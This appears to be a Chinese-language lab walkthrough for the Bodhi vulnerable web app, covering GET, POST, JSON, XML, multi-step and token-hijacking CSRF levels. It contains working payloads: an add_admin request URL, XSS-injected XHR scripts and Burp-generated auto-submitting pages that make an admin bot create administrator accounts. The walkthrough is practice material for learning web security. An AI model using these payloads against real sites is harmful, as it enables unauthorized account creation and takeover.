实验靶场
项目地址:https://github.com/amolnaik4/bodhi
搭建方式:
apt install docker.io
docker pull amolnaik4/bodhi_app
docker run -p 80:80 -p 8000:8000 amolnaik4/bodhi_app
tip:注意不要和服务器的已开启的服务端口冲突
靶场地址:http://服务器ip:80
第一次进入需要在首页Setup Bot中输入服务器ip地址
点击CSRF标签可以看到对应关卡的测试用户
Tip:需要说明的是,这里面的Poc都只需要提交即可,admin机器人会每过一分钟自动读取你上传的Poc,上传的文件可以访问服务器8000端口查看。
GET CSRF
GET CSRF是CSRF的表单,其中易受攻击的表单将使用HTTP方法GET提交。在这种情况下,所有表单值都将作为查询字符串传递给表单操作。
攻击目的:创建一个admin用户得到flag
使用测试用户登陆
题目提示利用表单进行csrf攻击
随便输入然后看网络流量,找到get请求的地址
http://172.16.141.129/add_admin?username=a&password=a&isAdmin=yes&submit=Add User
-
xss注入
在Message Board板块构造xss语句,发送。
服务器的机器人admin会自动读取这段xss(每隔1分钟执行一次)
等大概一分钟后就可以去登陆刚才xss语句中尝试创建的用户了 -
构造一个html page
在Upload PoC板块上传csrf页面
服务器会自动访问该页面,上传的文件可以访问服务器的8000端口看到
回到登陆界面,等待一分钟就可以登陆了。
POST CSRF
首先,获取POST数据
-
xss注入
异步请求,构造XMLHttpRequest对象,设置请求头,然后使用其发送异步请求。人
记不到的话,可以直接使用bp生成使用XHR的代码
<script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://172.16.141.129/add_admin", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "username=77&password=a&isAdmin=yes&submit=Add+User"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script>
-
表单页面上传
通过burp自动生成可以自动上传的html页面(在Option 选择包含自动上传脚本)
选好之后还需要点一下下面的按钮生成
这一道题发现要使用XHR才可以(在Option 选择cross-domin XHR)<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://172.16.141.129/add_admin", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "username=77&password=a&isAdmin=yes&submit=Add+User"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
上传之后等一会就可以登陆了
JSON Based CSRF
同样POST数据,不过从表单form数据变成了json数据格式,在这种类型的CSRF中,脆弱的表单将与AJAX请求一起提交,表单值将在POST主体中作为JSON发送。这种类型的CSRF出现在基于REST的api中。
#json格式
{ "acct":"BOB", "amount":100 }
同样的使用bp工具生成脚本代码
-
xss注入
<script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.43.54/add_admin", true); xhr.setRequestHeader("Accept", "*/*"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; var body = "{\"username\":\"abc\",\"password\":\"acb\",\"isAdmin\":\"yes\",\"submit\":\"Add User\"}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script>
-
页面csrf
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.43.54/add_admin", true); xhr.setRequestHeader("Accept", "*/*"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; var body = "{\"username\":\"abc\",\"password\":\"acb\",\"isAdmin\":\"yes\",\"submit\":\"Add User\"}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
XML Based CSRF
还是和POST表单差不多,不过表单值将作为XML文档发送到服务器,抓包,利用bp工具生成Poc
<xml version="1.0"><transfer><acct>BOB</acct><amount>100</amount></transfer>
上传页面,admin访问之后就成功创建账户了
Multi-step CSRF
很少有完成一个动作需要2个或更多表单提交的情况。在这种情况下,攻击者需要精心制作PoC,它将以相同的顺序提交所有需要的,以完成所需的结果。
#form1
POST http://bank.com/transfer.do HTTP/1.1
acct=BOB&stage=1
#form2
POST http://bank.com/transfer.do HTTP/1.1
amount=100
在这道题中,我们可以发现创建用户的时候需要确认2次,提交了2个表单。
第一个提交
第二个提交
可以看到,post数据中多了一个step参数,不过在最后一步,携带了所以需要的参数。???似乎不应该这样,
使用bp工具生成poc,类型选择多步骤表单。
Token Hijacking
通过在表单中使用随机标记并在处理表单值之前在服务器端进行验证,可以减轻CSRF漏洞。如果这样的应用程序容易受到XSS的攻击,则可以从表单访问令牌,并发送带有所需表单值的请求,从而导致所需的操作。这里的关键就是获得令牌。
不过发现留言那里同样有csrf-token
???不会阿